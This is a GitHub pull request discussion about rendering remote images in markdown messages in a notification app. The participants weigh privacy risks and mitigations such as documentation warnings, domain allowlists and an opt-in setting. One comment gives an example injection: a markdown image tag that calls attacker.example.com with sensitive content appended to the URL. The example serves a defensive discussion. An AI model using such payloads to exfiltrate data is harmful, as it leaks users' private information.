Fix markdown

[jmattheis]

Fixes #69
Fixes #70

[eternal-flame-AD]

I am not sure whether we should allow images to be rendered in messages.

• Similarly to why remote contents are blocked by default in e-mail clients, automatically downloading remote images could be used to collect information from the user. The privacy problem is not as significant as that of e-mails as most messages are configured by the user themselves and thus should be trusted, but it still does open a potential way for information leak(for example, if part of the message is interpolated from a malicious external source, the attacker could inject malformed markdown which leads to information disclosure). Eg:

This is a message containing very sensitive information. External information: (begin interpolation)![image](http://attacker.example.com/s.jpg?content=(end interpolation)topsecret and another [link](http://example.com/innocent-link).

• I don't think many users would need this function, and it might consume mobile data significantly.

[ceptonit]

@eternal-flame-AD You're right. Didn't think about that. That's probably why all the other notification clients use message attachments for images. That prevents remote loading.
But as you said: in this case, the user is pretty much in control of the messages he receives unlike emails where you have no real control on senders.
Having a way to display images in the app would be nice, and right now, markdown is the easiest way since it's implemented.
Attachments would probably be the best way but that seems like a bigger task to take on.

[jmattheis]

@ceptonit It should be possible to add the images just as links, this would be similar to attachments.

[rootforbid]

@jmattheis To be fair, if the markdown image fix is not implemented on the android app, might as well, block the feature on the server app as well as it works fine there.
For attachments, I believe they work just like email attachments, aka no links are sent. The image is sent with the message itself. So the end user gets the picture from the notification server.

[eternal-flame-AD]

That would be a tough decision. I have came up with these solutions which I consider acceptable:

• Allow external images, but explicitly tell users on the documentation about the risk of interpolating data from untrusted sources while markdown rendering is enabled. Also, we should provide sample code on how to sanitize markdown properly.
• Disallow external images altogether.
• Explicitly require the user to provide a list of trusted external image domains or regexp. Only images that satisfy these constraints could be sent.
• Add a render option and call it something like "enable_insecure_remote_image", so users would only enable them when they know what they are doing.

The solutions are sorted in order of my personal preference.

[jmattheis]

I'd say we go for your first solution, the main attack point would be when someone gets access to an application token or to the actual server. I think both these scenarios are pretty rare and if they happen then getting some information through images in markdown isn't really severe. Interpolation is an issue, but when using 3rd party strings users should just use text/plain.

I also like the idea of a client side setting for disabling images but I'd say the default should be to show images, the ordinary user probably expects this behavior.

An other Idea would be to manually click on images to load them, I dunno if that is possible with markwon, but it would be pretty cool.

[eternal-flame-AD]

Okay, so let's update the documentation to notify user of this potential risk.